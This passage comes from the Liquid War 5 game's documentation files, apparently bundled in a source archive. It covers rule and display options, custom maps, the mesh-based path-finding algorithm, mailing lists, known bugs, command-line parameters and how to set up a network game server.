than the fighters. If it is set on the right, the speed of the cursor is multiplicated by 3. Below is a "Min 160x100" box with a slider on its right. This means that maps will automatically be magnified so that they have a size of at least 160x100. Indeed, some of the maps that come with Liquid War were designed in 1995 when 486 Intel computers were common. Therefore the maps were smalls. Today, these maps are not really fun to play on fast computers, so Thomas Harte suggested this automatic magnifying feature, and that was IMHO a smart idea. You can move the slider to the right to make maps use a higher resolution - ie magnify them. The "Defaults" button of the "Rules" menu will reset rules to their defaults. This way you can tweak rules and then come back to the default rules whenever you want. Note that there's also a "Defaults" button in the main "Options" menu, but it will reset *all* options, including player names... The advantage of the "Defaults" button in the "Rules" menu is that it will only reset rules parameters, and keep the rest of your configuration options untouched. The "frames/s" slider allows you to limit the number of frames per second. If this slider is set on the left, there won't be any limit, so Liquid War will repaint your screen each time the fighters move. But this can be a weird behaviour if your machine is really fast, for no one cares about 100 fps per second, one can not even see them... So this paramters limits the refreshment rate, so that there can be several logical moves of the fichters for only one screen refreshing. If it is set on its right, the display is limite to 10 fps, so you'll have to find your setting. I personnally set it right in the middle, and get 40 fps. If you press "F5", you'll get the number of frames per second, and if you press "F6", you'll get the number of logical moves per second. You can also press "F7" or "F8", and you will get the percentage of time your computer spends on calculating or displaying the level. The "rounds/s" slider allows you to limit the number of rounds per second. If this slider is set on the left, there won't be any limit, so Liquid War will run as fast as possible. This setting will be of no use if you use Liquid War on a slow computer or if you play with hudge maps, but sometimes, with a high-end Pentium class computer, it's simply impossible to play on small maps because things simply go too fast. So this parameter is here to help you and avoid the "10000 moves per sec" problem. This is where the wave parameters are set. The waves are just a graphic effect, which is not really usefull. I don't often use waves, but I still think they can sometimes look nice. Change these parameters if you really mean to do it, but if you don't understand what they mean, it is really OK... There are 4 different types of waves, each of them being defined by: An "Ampli" parameter, to define how big the waves have to be. A "Number" parameter, to define how many waves should be displayed at the same time. A "Speed" parameter, to define how fast the waves should move. If you want to undestand what the "WX", "HY", "WY", and "HX" codes mean, try to pay with only one type of wave, the "Ampli" parameter of the 3 other types of wave being set to 0 (that is to say the slider is on its left position), and sea how it looks like. The wave effects can be toggled during the game by pressing the "F4" key. This menu allows the user to change the behaviour of the fighters. The "Attack" slider sets the agressivity of the fighters. If it is set on the right, fighters eat each other very fast. If it is set on the left, it takes ages to fighters to change teams. The "Defense" slider sets the capacity that the fighters have to regenerate themselves. The more it is on the right, the faster fighters regenerate. The "New health" slider sets the health of the fighters which have just changed teams. The more it is on the left, the weaker these fighters will be. The "Winner help" slider controls a parameter which causes fighters to attack with various strength depending on how many fighters belong to their team. Not very clear... Let's just say that: If this slider is set on the right, the more fighters you have in your team, the more aggressive they will become. If it is centered, all the fighters of every team will always attack with the same strength. If it is set on the left, the less fighters you have, the stronger they will be. In this mode, games usually never end. The "Cpu strength" parameter never makes the computer more intelligent than a monkey. But if you set it on the right, it advantages the machine outrageously and fighters controlled by the cpu will be really strong. So to get rid of them you'll definitely need to be clever. Again and again, don't forget that Liquid War was conceived as a multiplayer game and that playing against the computer is not really an interesting thing to do. The "CPU vs human" parameter allows you to control how aggressive CPUs are towards humans. If set to "Always", CPUs will always attack humans and will never try to attack another CPU, unless there are no humans left. This used to be the default behavior in previous Liquid War versions, but some players remarked that it was rather unfair, so now this is an option. If set to "Random", CPUs won't care wether their opponents are CPUs or humans, they'll attack anybody. This is the default behavior. It set to "Never", CPUs will attack each other before bothering human players. The "Allow net bots" button can be used to allow bots to connect on network games. Indeed, bots are by default disabled in network games, since in this case LW assumes that bots are useless (there are already several human players). However, turning this option on will allow you to connect bots within the game. It's important to note that this is a per client option, this means that you can't use it to forbid access to bots to a given network game. This option was simply created to avoid confusion when connecting on network games, while still allowing bots to connects if you really want them to. The "Algorithm" parameter allows you to force the algorithm to standard C mode. There's no real good reason you would like to do this, since the C algorithm is slower than the ASM one. Moreover, the ASM algorithm is automatically disabled if you play against a computer which does not have ASM enabled. Think of this as a testing/debugging option. Here's a list of keys you might use while playing: F1: toggles the "info" zone where the game time and the state of each team is displayed. F2: moves the "info" the zone arround, possible positions being top, right, bottom and left. F3: pauses the game. This function is disabled during network games. F4: toggles the "wave effect". Without this "wave effect", which is turned on ny default,the game will run faster. F5: displays the number of frames per second (*). F6: displays the number of rounds per second (*). F7: displays the precentage of CPU spent on the game logic, calculating where fighters must go for instance (*). F8: displays the precentage of CPU spent on graphics (*). F9: turns on/off the "capture" mode. In this mode, screenshots of each frame are taken, and written to the hard drive as bitmaps. F10: quits the game right away without any confirmation prompt, also known as the "my boss is coming here!" function. (*) all these figures tend to be clearly false as computer go faster and faster. Basically, the time required for "logic" and "display" operations is getting shorter and shorter, and the tools I use to measure it are not precise enough. Therefore I get approximations which might by plainly wrong. liquidwar-5.6.5/doc/xml/userlevels.xml0000664000372000037200000001172113407756104017423 0ustar travistravis You can use your own levels whith Liquid War 5. The only thing you have to do is to put your own 256-colors vbitmap files in a special directory, and the program will use them. Currently, BMP, LBM, PCX, and TGA files are supported. It is a good thing to use 256 colors bitmaps, for they waste less disk space than truecolor bitmaps, and Liquid War 5 converts all bitmaps to 32 colors bitmaps. Additionnally, truecolor bitmaps might cause the DOS version to crash randomly... 2-color bitmaps will also cause the program to crash. I warned you! The best thing you can do to create your user levels is to have a look at the few user files I put in the .zip file and try at first to do something that looks about the same! Liquid War 5 does many checks on user levels and is much safer than Liquid War 3. Still, try and help the program not to crash, if possible. Liquid War considers that dark colors are walls and bright colors are associated to the playable area. So you can draw your walls in black, dark blue, etc... And the rest of the map can be of any bright color such as white or yellow. You can draw a small map on a big bitmap, as long as you use a bright background color. Liquid War will autodetect the range of your map and add the border line if necessary. Liquid War re-orders all the maps, so that the smallest ones are on the left and the most complicated ones on the right when you choose them with the slider in the "map" menu. So if you can't find the map you just draw, don't worry, it is probably just mixed with the levels from the .dat file. The default path for maps is "custom\map\" on windows, and "/usr/local/share/games/liquidwar/map" on GNU/Linux. All you have to do is put a bitmap in the default directory which is "custom\texture\" on windows, and "/usr/local/share/games/liquidwar/texture" on GNU/Linux. As of Liquid War 5.6.x, it's possible to associate a map with a texture. All you need is to call the maps with the same name (case is important, lowercase recommendend...). Look at the "meditate" custom map which is shipped with Liquid War for instance. This also works with internal builtin maps (those stored in the datafile) so for instance if you name a custom texture "world1.bmp" it will automatically be associated to the builtin map world1 (to figure out internal names you have to unpack the source distribution and look in the ./data directory). This also works the other way, if you name a map "wood2.bmp" it will be automatically associated with the builtin texture wood2. Associating a texture with a map requires more work than designing a simple map, but the results is usually much nicer. See the "Kasper - ..." series of maps for instance. Maybe you will find that the original levels are ugly and unplayable. Well, if you have made user levels and think they are great, just send them to the Liquid War user mailing list. Please use only 256 colors bitmap and zip them before sending them, or else they might be blocked by my provider... As of today, dozens of user maps have already been included in Liquid War, this is very nice for it happens that every map designer has his own personnal tastes, so the maps all look different. Still, to be included in Liquid War's mainstream distribution, your maps will need to be placed under the terms of the GNU General Public License, or at least a compatible license. You should have received a copy of this license with Liquid War anyway. Read it 8-) Of course, you can use *any* map when playing. You can even play with a bitmap you got from a proprietary source - such a proprietary game you bought for instance - but the point is that I can't - and you can't either - distribute such a map along with Liquid War. However, this is enough legal boring stuff! What you should keep in mind is that I'm always happy when I receive maps from players, and it's a pleasure for me to include them in the mainstream distribution. liquidwar-5.6.5/doc/xml/algorithm.xml0000664000372000037200000002700113407756104017216 0ustar travistravis If you have played Liquid War, you must have noticed that your army always takes the shortest way to reach the cursor. So the fundamental stuff in Liquid War is path-finding. Once you've done that the game is quite easy to code. Not harder than any other 2D game. Still the path finding algorithm is an interesting one, for it's not a common method that we used. Basically, at each round (by round I mean a game logical update, this occurs 10 or 100 times/sec depending on the level and/or your machine), the distance from all the points of the level to your cursor is calculated. Now the point is to calculate this fast, real fast. In fact, a "gradient" is calculated for all the points of the level, and the value of this gradient is the distance required for a little pixel/fighter to reach your cursor, assuming that he takes the shortest way. Liquid War does this with a 10% error tolerance, and it's enough for keeping the game interesting. Once you have this gradient calculated, it's not hard to move your fighters. Basically, you just have to move them toward the adjacent point that has the lowest gradient value, ie is the closest to your cursor. The Liquid War algorithm has been invented by my friend Thomas Colcombet In fact the Liquid War algorithm has been invented before the game itself. The game came as a consequence of the algorithm, he just thought "mmm, cool, we could make a game with that!". Later, I enhanced the algorithm, as I coded it. The consequences were a performance increase, especially on simple but big levels. I mean levels with wide areas for teams to move. Still the basis of the algorithm remained the same. The Liquid War algorithm for path-finding is very efficient: When you have to move lots of different points toward one single point. Good thing that's the rule of Liquid War! When you have no clue about how your map will look like, ie if the walls are randomly placed. The complexity of the level doesn't influence much the speed of the algorithm. The size does, but the complexity, ie the number of walls, is not so important. The Liquid War algorithm is very poor compared to other algorithms when: You have several target destinations, that's to say Liquid War would be really slow if there were 100 teams with 10 players only. You want to move one single point only. > You want the exact (100% sure) path. In fact, this algorithm finds solutions which approach the best one but you can never figure out if the solution you found is the best, and the algorithm never ends. In the long term, the algo will always find the best solution or something really close but I don't know any easy way to figure out when you have reached this state. The first Liquid War algorithm used to calculate the gradient (the distance from a point to your cursor) for every single point of the map. With Liquid War 5, I used a mesh system. This mesh system is a structure of squares connected together. Squares may be 1,2,4,8 or 16 units large or any nice value like that, and the gradient is only calculated once for each square. Squares have connections between them, and each connection is associated to a direction. There are 12 directions: North-North-West (NNW) North-West (NW) West-North-West (WNW) West-South-West (WSW) South-West (SW) South-South-West (SSW) South-South-East (SSE) South-East (SE) East-South-East (ESE) East-North-East (ENE) North-East (NE) North-North-East (NNE) Well, let me give you an example, supposing that you level structure is: ********** * * * * * ** * * ********** The * represent walls, that's to say squares where fighters can not go. Then the mesh structure would be: ********** *11112233* *11112233* *1111445** *i1114467* ********** In this mesh, there are 7 zones: zone 1 has a size of 4. It's linked with zones 2 (ENE) and 4 (ESE). zone 2 has a size of 2. It's linked with zones 3 (ENE,ESE), 5 (SE), 4 (SSE,SSW) and 1 (SW,WSW,WNW). zone 3 has a size of 2. It's linked with zones 5 (SSW), 4 (SW) and 2 (WSW,WNW). zone 4 has a size of 2. It's linked with zones 2 (NNW,NNE), 4 (NE), 5 (ENE), 6 (ESE) and 1 (WSW,WNW,NW). zone 5 has a size of 1. It's linked with zones 3 (NNW,NNE,NE), 7 (SE), 6 (SSE,SSW), 4 (SW,WSW,WNW) and 2 (NW). zone 6 has a size of 1. It's linked with zones 5 (NNW,NNE), 7 (ENE,ESE) and 4 (WSW,WNW,NW). zone 7 has a size of 1. It's linked with zones 5 (NW) and 6 (WSW,WNW). Because it allows the module which calculates the gradient to work much faster. With this system, the number of zones is reduced a lot, and calculus on the mesh can go very fast. At the same time, this mesh structure is complicated to understand by us humans but it's very easy for the computer. For each zone defined in the mesh, LW calculates an estimation of the distance between the cursor and this zone. The algorihm is based on the fact that to cross a zone which size is n, n movements are required. Easy, eh? Here's the way the algorithm works: for each turn of the game, do: pick up a direction between the 12 defined directions. They have to be chosen is a peculiar order to avoid weird behaviors from fighters, but let's suppose we just pick up the "next" direction, ie if WSW was chosen the last time, we pick up WNW. and then for each zone in the mesh, do: Compare the potential of the current zone with that of its neighbor zone. The neighbor zone to be chosen is the one which corresponds to the direction which has been previously picked up, and by potential I mean "the distance to the cursor, estimated by the algorithm's last pass". If potential_of_the_neighbor_zone > (potential_of_the_current_zone + size_of_the_current_zone) then potentiel_of_the_neighbor_zone = potential_of_the_current_zone + size_of_the_current_zone Well, just ask my friend thom-Thom, he's the one who had the idea of this algorithm! The basic idea is that by applying this simple rule to all the zones, after a certain amount of time, it's impossible to find any place in the mesh where the rule is not respected. And at this time, one can consider the potiential is right in any point. Of course when the cursor moves the potential has to be recalculated, but you see, cursors move really slowly in Liquid War, so the algorithm has plenty of time to find a new stable solution... It's possible to see this algorithm working by typing: ufootgrad[n] while playing, where [n] is the number of the team the gradient of which you want to view. The game is still running but you view a team's gradient being calculated in real time instead of seeing the fighters. If you type ufootgrad0 the display comes back to normal mode. Once the gradient is calculated for any zone on the battlefield, it's quite easy to move the fighters, hey? The following method is used to move the players: A "main direction" is chosen for the fighter, this direction is chosen using the gradient calculated on the mesh. Knowing which direction is the main one, a "level of interest" is applied to the 12 defined directions. There are 4 "level of interest" for directions: Main directions: the direction calculated. Good directions: these directions should lead the fighter to the cursor. Acceptable directions: ok, one can use this direction, since the fighter shouldn't loose any time using it. Unpossible directions: wether there's a wall or using this direction means the fighter will be farer from his cursor than before, it always means that this direction will not be used, never. The fighters will try to find any matching situation in this list, and chose the first one. The main direction is available, no one on it, OK, let's follow it. There's a good direction with no one on it, OK, let's follow it. There's an acceptable direction with no one on it, OK, let's follow it. The main direction is available, but there's an opponent on it, I attack! By attacking, one means that energy is drawned from the attacked fighter and transmitted to the attacker. When the attacked fighter dies, he belongs to the team which killed him. A good direction is available, but there's an opponent on it, I attack! The main direction is available, but there's a mate on it, I cure him. That's to say that energy is given to the mate. This way, when there's a big pool of fighters from the same team, they re-generate each other. None of the previous situations found, do nothing. The behavior of the armies is quite tricky to set up. I had myself to try many algorithms before I came to something nice. In fact, I had to introduce some "random" behaviors. They are not really random for I wanted the game to behave the same when given the same keyboard input, but for instance, fighters will prefer NNW to NNE sometimes, and NNE to NNW some other times. By the way, I think Liquid War could stand as a nice example of the thoery of chaos. liquidwar-5.6.5/doc/xml/mailinglists.xml0000664000372000037200000000464713407756104017742 0ustar travistravis This list is for general discussions about Liquid War. Here you can make suggestions, submit bug reports, ask for help, find players, etc... Basically, any question or remark which concerns the game is welcomed on this list. You can't send messages to the list without subscribing. The only reason for this is that it's one of the only way to block spam efficiently. I first thought it could be OK to allow anyone to post, but liquidwar-user seems to have be harvested by robots, so now I need to restrict posters. However, I insist on the fact that anyone can subscribe, and the subscription to the list is not moderated. So if you are a human being and not a stupid spam robot, you're welcome on the list 8-) Here's a list of usefull URLs: To (un)subscribe: "http://mail.nongnu.org/mailman/listinfo/liquidwar-user" To consult archives: "http://mail.nongnu.org/pipermail/liquidwar-user/" To post on the list: "liquidwar-user@nongnu.org" I have have set up a web-based chat-box which is accessible here: "https://ufoot.org/liquidwar/v5/metaserver.php" It's not as good as a good old IRC channel but not everybody can use IRC (because of firewalls and the likes), and I like the idea that people can chat and have the list of available servers in one single web page. I personnally spend some time on irc.freenode.net so you might use it to find other players - though I'm not really an IRC addict... ...not yet at least! Here are the channels I recommend: #liquidwar : Liquid War dedicated channel, to find players and chat while playing. #netgame_players : general channel for players who want to play Internet games - Free Software and/or Open Source games of course, we're on freenode.net 8-) liquidwar-5.6.5/doc/xml/bugs.xml0000664000372000037200000002424313407756104016175 0ustar travistravis If you have troubles with Liquid War 5, if you think it is a bug, and if it is not described in this file, then just send a (precise...) decription of your problem to the Liquid War user mailing list. Besides, it happens that now most bug reports come from the Debian tracking system "http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=liquidwar". Thanks to the Debian users and maintainers, it's a very valuable feedback source. Additionnaly, on online bug tracking system is availalable on "https://github.com/ufoot/liquidwar5/issues". I try to collect everything here : bugs reported on the mailing-list, bugs from Debian, and bugs I found myself. Alternatively you can report bugs directly on it 8-) Network support in Liquid War is far from being perfect, so there are a bunch of little problems which can appear. Basically, once the game is correctly started on a LAN, you should have no problems, but getting the game started might be difficult. Some users reported that they were unable to control the Liquid War cursor with the mouse. Well, the answer is a typical Microsoftish "this ain't a bug, it's a feature!". More seriously, you're supposed to move the cursor with the keyboard in Liquid War. There's no way to handle the cursor "like a mouse pointer" (*). This is due to: Severe limitations in the Liquid War core algorithm. The fact that moving the cursor "too fast" would really change the gameplay of Liquid War. As a Liquid War integrist 8-) I can tell you the game would really not be the same if you could move the cursor as fast as you wish. It's part of the game that sometimes it takes you ages to recover from a strategical mistakes. You need to think twice before going to the very end of a level. That's strategy. At least that's how I view things... Anyways as I mentionned above there's a limitation in the core algorithm. (*) This is not perfectly true, there's a way to control the cursor with the mouse, but it's designed for the case "4 people want to play on the same computer and one single keyboard is not enough". Controlling the cursor with the mouse in Liquid War is possible but yet rather hard to master 8-/ Try it and you'll understand what I mean. This mode can be set up in the "Teams" menu. On non UNIX platforms such as Windows or DOS, Liquid War is distributed in a .zip file. It's IMPORTANT that you unzip the .zip files with an "unzipper" which preserves the directory structure. Most install problems under Windows come from broken unzipping programs which extract all files in the same directory... WinZip 8.x or the unzip32.exe utility that comes with DJGPP are both able to uncompress Liquid War .zip files correctly. On Liquid War 5.5.9 and later, the Windows version should detect this problem automatically and warn you with a message which basically says something like "Unable to load datafile. Are you sure Liquid War is correctly installed?". If you get this message, you need to reinstall the game by unzipping it with a "correct" unzipping program which does not wreck directory structrure up. Sometimes there are some problems when compiling the datafile, this includes: The liquidwarcol, liquidwarmap and liquidwartex utilities might freeze or segfault. Typing "make" again often solves the problem. The background image sometimes ends up using the wrong palette, which has a very nasty consequence: it looks ugly. These bugs are quite hard to get rid off, since I can not reproduce them easily. The good solution would be to completely rewrite the liquidwarcol, liquidwarmap and liquidwartex utilities. IF your midi music on Liquid War, or indeed any other Allegro game, doesn't work and you are using the OSS (Open Sound System) drivers (these are the sound drivers which come with the standard kernel distribution), this may well be because Allegro only supports "FM synthesis" and not "wavetable" when it is using OSS. FM synthesis is a very old method of making sound from MIDI and has long since been replaced by wavetable synthesis, with the net result that it's quite possible you've got OSS MIDI working nicely in other applications without having FM support set up at all. This is what I found. (It has to be said that I didn't find the FM sound quality quite as bad as people have said, though). In this situation, it looks to me like you have the following choices: ...to implement wavetable midi on OSS :-) and for the rest of us... ...which creates audio from MIDI using a set of patches (more info here: "http://www.talula.demon.co.uk/allegro/digmid.html") and plays back through your sound card's audio. ...Which is comprised of the following steps: Find out which FM driver is appropriate for your sound card. If you have distribution-specific tools and docs for setting up sound, try those. If not, you will need to be familiar with the knowledge in the Sound-HOWTO and Kernel-HOWTO i.e. know how to compile kernels and modules and deal with sound drivers. Look through the OSS modules in 'make menuconfig' and see if anything catches your eye. See if there is any specific documentation on your sound card on "http://www.linuxdoc.org". Do a few web searches. For my AWE64, I use the OPL3 driver. Compile and install the FM driver module, or set up your system to use the new kernel if you want to compile the driver in. Load the module, or boot your new kernel. It is very important that you pay attention to what is said in the 'help' for your FM driver in 'make menuconfig' and read any necessary files in the Documentation/sound/ directory. For example, I just had a nice half-hour wondering why the hell my FM wasn't working now when it had been before - with the OPL3 driver, you have to give the option io=0x388 to insmod. Which is stated nice and clear in the docs, but of course I had forgotten since then. You can prevent such happenings by recording options permanently in /etc/modules.conf - see the manpage etc. Try the game. If it's worked you will hear particularly beepy music. Enjoy! --IMPORTANT-- If you are using Liquid War, your FM will only work if you go to the map 'Elephant inside a boa' and proceed to chase each other round in circles for at least 10 minutes. This cures a bug in the design of the OPL3 interface which conflicts badly with the core Liquid War algorithms. How the hell the music hardware even knows about the core algorithms I don't know, but that's what I made of the now-defunct opl3-occult-FAQ, from which here is an excerpt: Many roads a man must take. Those with one-track minds are DOOMED, I tells ya. ---- The Liquid War algorithm calculates distances to one place, the cursor. And: Man or machine, face or code, must stand strong and solid; must not just ooze away as slime. ---- We think it might just take objection to the whole 'slimy' nature of the LW beings. As well as it being LIQUID War. So, our carefully tailored approach, is to firstly have the players going in all the possible different directions evenly by moving around the map in circles, and secondly to divert the opl3's attention from the general slimy liquidness of it all by emphasizing the solidity, reality, and natural goodness of that classic tapestry: an elephant inside a boa. That and it's a f***ing ace level. The Liquid War server is a "light" servers which - to some extent - has no idea about what is going on in the game. It simply replicates key strokes between clients and each client maintains its own game state. Normally, the game is designed so that given the same user input, it will behave exactly the same. However, it happens that sometimes 2 clients can behave differently, and this is a (severe) bug. One consequence is that messages reporting "Checksum errors" appear on the server's and on the client's console output. This bug appears when using non-default rules settings. Basically, if someones tweaks his rules, then the checksum errors appear. Of course I double-triple checked that options were correctly sent on the network, but, well, could not fix the bug. Yet. The short term solution seems to play with default factory settings... I'm highly interested in bug-reports concerning this problem. liquidwar-5.6.5/doc/xml/file.dtd0000664000372000037200000000047313407756104016126 0ustar travistravis liquidwar-5.6.5/doc/xml/parameters.xml0000664000372000037200000002250713407756104017401 0ustar travistravis When you launch Liquid War 5, you can use command line options. If you have no problems launching Liquid War, this section should not interest you very much. You can use several options at the same time. The basic syntax for options looks like this: lw -option1 -option2 parameter2 -option3 parameter3 -option4 -option5 Note that most of the options are legacy options which where usefull with the initial releases of Liquid War, when you had to run in a Windows DOS box, and when there were still plenty of 486 computers with only 8Mb ram... These are basic options which can be usefull to figure out which release of Liquid War is installed. "-v" : returns the version number of the program. "-h" : displays a short description and copyright information. Very usefull options, especially if you can not install Liquid War in default directories or want to put the game in a special place. "-cfg myconfigfile.cfg" : causes Liquid War to use the specified config file. "-dat mydatafilefile.dat" : causes Liquid War to use the specified datafile. This might be a very interesting option if you run Liquid War on a GNU/Linux box where you do not have root access and therefore can not put the datafile in /usr. "-map mycustommapdir" : causes Liquid War to use the specified directory as the user map directory. The user map directory is where you can put plain bitmaps to be used as maps. "-tex mycustomtexturedir" : causes Liquid War to use the specified directory as the user texture directory. The user texture directory is where you can put plain bitmaps to be used as textures. "-mid mycustommusicdir" : causes Liquid War to use the specified directory as the user music directory. Any midi file placed in this directory will be added to the list of available musics. "-server myliquidwarserverfile" : causes Liquid War to use the specified file as the server executable. This option has no effect for now since the server is not launched by the client. "-mapgen mylwmapgenfile" : causes Liquid War to use the specified file as the "lwmapgen" executable. "lwmapgen" is an utility by David Redick which generates random maps automatically for Liquid War. You might wish to change this option if random map generation does not work for some reason, or if you want to use your own map generator. These options give you control on how Liquid War treats initialisation errors, how much memory it should reserve, what kind of video mode sit should not choose etc... "-vga" : This option forces Liquid War to use your video card as if it was only a basic VGA card. This option is required if you play Liquid War from Windows NT. "-no400300" : This option disables the VGA 400x300 video mode. I created this options for I know that some video cards/monitors don't support the 400x300 mode. "-silent" : With this option, Liquid War will not play any sound. It will not search for any sound card. This can be interesting if you don't have any sound card or if Liquid War doesn't handle your card correctly. "-nowater" : Causes Liquid War not to load any water sound. Use this if Liquid War runs short of memory, and you should gain about 850kb. "-nosfx" : Causes Liquid War not to load any sound fx. Use this if Liquid War runs short of memory, and you should gain about 150kb. "-nomusic" : Causes Liquid War not to load any midi music. "-mem n" : The parameter "n" sets the amount of memory (in Mb) Liquid War will allocate to do all its calculus. If this number is too small, you won't be able to play on all the levels. If it is too high, Liquid War may not start at all or crash while you are playing. The default value is 8. If you play Liquid War from Windows and Liquid War refuses to run because this parameter is too high, then try and give more dpmi memory to Liquid War. "-nojoy" : This option disables joystick support. "-noback" : Causes Liquid War not to load the background image. Use this if Liquid War runs short of memory, and you should gain about 300kb. "-notex" : Causes Liquid War not to load any texture. Use this if Liquid War runs short of memory, and you should gain about 750kb. "-auto" : If you set this option, Liquid War won't generate any error while allocating memory or loading data. "-safe" : With this option, you will play with a very reduced version of Liquid War. It looks rather ugly but should work in a DOS box with only 4Mb of DPMI memory. Use this if you experience serious memory or device problems. If Liquid War doesn't start with this option turned on, I really don't think I can do anything for you... "-nice" : With this option, Liquid War will use a mode which is between the default mode and the "safe" mode. "-check" : With this option, Liquid War will stop as soon as it detects something strange while initializing. "-stop" : If you set this option, Liquid War will prompt you for a key when the init process is completed. "-c" : This is a weird option, if you turn it on, the game will only use fonctions which are programmed in C langage. The default behaviour is to use some functions I rewrote in assembly langage, so that the game is a little faster. These options are usefull if you want to debug the game and trace what's happening. "-netlog" : Dumps all the network traffic on the standard output. This can help finding problems when trying to connect to the server in a network game. The server command line options are described in the section which deals which network games in general. IMHO you need to understand how network works in LW before trying to tweak the server 8-) Everything else 8-) "-capture" : Activates the capture mode. In this mode, the game will dump a .bmp file on the disk several times per second, which is usefull if you want to create an mpeg movie of your game session afterwards. You can also activate this mode interactively by pressing F9 within the game. "-metaserver url" : redefines the URL of the meta-server. Usefull if you want to use your own meta-server. "-nobeep" : Disables the system beeps that the application might fire. These beeps are mostly used on the server to notify clients connections. "-tombola" : Activates a special mode where scores are not displayed normally. Instead, the game displays 3 random numbers between 1 - 500. The external lwmapgen program by David Redick accepts a number of command line options. You can type: liquidwar-mapgen --help to get a list of all available options under UNIX. Under Windows the command would be: lwwinmap --help Note that lwmapgen is called automatically by Liquid War when you click on the "Random map" button. The idea behind lwmapgen is that you choose a function which sets the type of map generated, and then pass various arguments to this function. If you do not explicitly choose a function, one will be picked up for you randomly, and all other parameters will use default values. The most usefull and common options are: "--help" : displays help. "--out filename" : save bitmap to filename. "--size n" : bitmap size (an integer between 0 and 5). "--list" : list all available functions. "--function function_name" : which function to use. Here's a typical use of lwmapgen: liquidwar-mapgen --size 3 --function hole --out test.bmp liquidwar-5.6.5/doc/xml/network.xml0000664000372000037200000006604513407756104016734 0ustar travistravis Since release 5.4.0, Liquid War includes network support, that's to say that people can play over a LAN (Local Area Network). However, due to limitations in Liquid War's legacy code, and also because of the lack of time I have, it might be a little tricky to set up a network game at first. So please read this section carefully. You should keep in mind that: DOS only releases of Liquid War do not include network support, only Windows and GNU/Linux versions will allow you to set up a network game. The game should run fine on any LAN, but there's no garantee the game will be playable on the Internet. Indeed if your "ping delay" is not good enough, the game will be awfully slow. Bandwidth is not an issue, since Liquid War rarely needs more than 2 Kb/sec. You'll need to know what an IP address is. You don't need to set up a network game to run a multiplayer game. Liquid War was originally a multiplayer game without network support. Network support is here only for people who don't feel comfortable when playing at 6 on the same keyboard 8-) You'll basically need 2 computers connected on the same LAN. We'll call them computer A and B. You might be able to play over the Internet too, but the game can be harder to set up and - which is worse - very slow. You'll also need to know the IP address of computer A. Type "ipconfig" under Windows or "ifconfig" as root under GNU/Linux to get this information if you don't have it. Liquid War uses a very traditionnal client/server approach. Basically, the server gets informations from all the clients and then dispatches the collected information to everybody. So you'll need to start a server on computer A by running "liquidwar-server" on GNU/Linux or "lwwinsrv.exe" on windows. This is a console application, ie it does not set up any graphic mode. Here's a small example of a server start on GNU/Linux: $ liquidwar-server How many teams will connect to this server? At this point you must enter a number between 2 and 6, and then press "ENTER". In this example we will answer 2. The server really needs to know how many teams will be in the game: when enough teams are connected, the game starts. It can also be a good idea to answer 6 systematically and then force game start by clicking the "Start now" button within the client. It's possible to skip this question by typing "liquidwar-server -2" instead of a plain "liquidwar-server". Use "-2" to get rid of this question. Register on "www.ufoot.org/metaserver/" (y/n)? Now if we answer "y", then the server will automatically contact the "meta-server" and it will be listed on "https://ufoot.org/liquidwar/v5/metaserver.php" This can be convenient for people who want to find other gamers to play with on the Net. For now, let's answer "n", we'll test this meta-server stuff later 8-) Use "-private" to get rid of this question. 2002-06-03 16:43:00: Listening on port 8035... 2002-06-03 16:43:00: Waiting for 2 teams... Now the server is ready to accept clients. By default it listens to clients on port 8035. You could change this behavior setting by calling "liquidwar-server -port 8061" for instance, but let's use the default port to make things easier. Start the client on computer A normally by typing "liquidwar" on GNU/Linux or double-click "lwwin.exe" on Windows. Go to the "Teams" menu and select 2 teams, a red human and a blue CPU for instance. If you don't know how to do this, then try and play Liquid War on a single computer first. It's important to notice that by default the "blue CPU" won't connect on the network game. It's possible to allow bots to connect on network games, but they are disabled by default. Now come back to the main menu, and a "Net Game" button should be available. Click it. Now you should be able to: Start the game. Change the IP address of the server. Change the communication port. Set a password. Search for internet games automatically. Since the server is also running on the same machine (A), you can leave the default IP address as is (127.0.0.1). Now you are ready to start the second client on computer B. Like with computer A, you'll have to: Select 2 teams, green an yellow this time. Select "Net Game" in the main menu. But this time you'll also need to change the server address, since the client is not running on the same computer than the server. Now click on "Start game" on computer A. The server should play a "system beep", which is usefull if you run a server and want to be notified of client connections without watching the console all the time, and it should display messages like this: 2002-06-03 16:44:48: Connection from "127.0.0.1:34677" 2002-06-03 16:44:48: Team "Napoleon" on client "127.0.0.1:34677" accepted 2002-06-03 16:44:49: Client "127.0.0.1:34677" accepted 2002-06-03 16:44:49: Waiting for 1 team... And on the client you should see a screen which says "Waiting for 1 team(s)" with the list of connected players below (Napoleon). You do not need to click on the "Start now" button. Now click on "Start game" on computer B. The server should display messages like this: 2002-06-03 16:49:14: Connection from "192.168.1.1:1098" 2002-06-03 16:49:14: Team "Henri IV" on client "192.168.1.1:1098" accepted 2002-06-03 16:49:15: Client "192.168.1.1:1098" accepted 2002-06-03 16:49:15: Client "192.168.1.1:1098" ready 2002-06-03 16:49:15: Client "127.0.0.1:34677" ready 2002-06-03 16:49:15: Sending info to "127.0.0.1:34677" 2002-06-03 16:49:15: Sending info to "192.168.1.1:1098" 2002-06-03 16:49:16: Game start And at that point, the game should start 8-) Once the game is over, you can start another network game on the clients without touching the server, because the server automatically restarts and waits for players to connect. To stop the server - if you want to change its settings for instance - just go to the console where it's running and press CTRL-C. Docker (see "http://docs.docker.com/" for details) is a convenient way to launch a server without re-inventing (rather, re-compiling) the wheel. You might want to run the server this way if, for instance, you need to have it run on a remote box where you do not wish to install a complex Liquid War stack, Allegro and the rest. Please visit "https://hub.docker.com/r/ufoot/liquidwar-server/" for a list of available images, once it's installed, running the server should amount to something like: docker pull ufoot/liquidwar-server docker run -p 8035:8035 ufoot/liquidwar-server Additionnally, images are provided to run the metaserver, which is responsible for registering and listing all running games. While there's no real reason to run your own since one should permanently be available on ufoot.org, it's quite straightforward to run your own: docker pull ufoot/liquidwar-metaserver docker run -p 8053:8053 ufoot/liquidwar-metaserver The meta-server is a piece of software which is running on my web site, and allows servers to register themselves so that client can get a list of available servers. It's written in PHP and is _very_ basic but I believe it's enough for what has to be done: maintain a list of running servers. The source code for the meta-server is included in the source package of Liquid War, so you might run such a server yourself if you want to. However, by default, servers will register themselves on my web site, and will be listed on "https://ufoot.org/liquidwar/v5/metaserver.php" Launch the server, and when you get the question: Register on "www.ufoot.org/metaserver/" (y/n)? answer "y". Note that if you're behind a proxy or a firewall, the server might be unable to register itself. Clients might also have problems to connect themselves on your server if there's a machine which does NAT (Network Address Translation) between you and the meta-server. In the main menu, click on "Net Game" and then 